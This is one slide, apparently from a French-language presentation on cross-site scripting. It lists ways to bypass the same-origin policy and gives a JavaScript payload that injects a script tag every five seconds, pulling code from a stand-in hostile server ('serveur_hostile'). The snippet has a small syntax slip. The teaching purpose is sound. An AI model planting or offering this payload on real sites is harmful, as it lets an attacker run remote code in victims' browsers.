X hits on this document

150 views

0 shares

0 downloads

0 comments

15 / 46

XSS – de la brise à l'ouragan – II) Chute violente du baromètre - les catalyseurs a) SOP qui peut !

Problème : elle est contournable...

  • -

    en passant par un proxy WEB relai ; ex. des services de

traduction ;

  • -

    mod_rewrite / mod_proxy d'Apache par exemple (variantes

du précédent) ;

  • -

    JSON ;

  • -

    scripts signés (Firefox seulement pour le moment).

    • +

      quelques autres variantes...

document.write(" <SPAN id='myScript'><script> var scriptNode = null; function me(){ var jsFile =document.getElementById('myScript');

if (scriptNode{ jsFile.removeChild(scriptNode); } scriptNode=document.createElement('script'); scriptNode.type='text/javascript'; scriptNode.src = 'http://serveur_hostile/script.php'; jsFile.appendChild(scriptNode); } window.setInterval('me();', 5000); </script></SPAN> ");

Document info
Document views150
Page views159
Page last viewedSat Jan 21 00:09:32 UTC 2017
Pages46
Paragraphs417
Words3787

Comments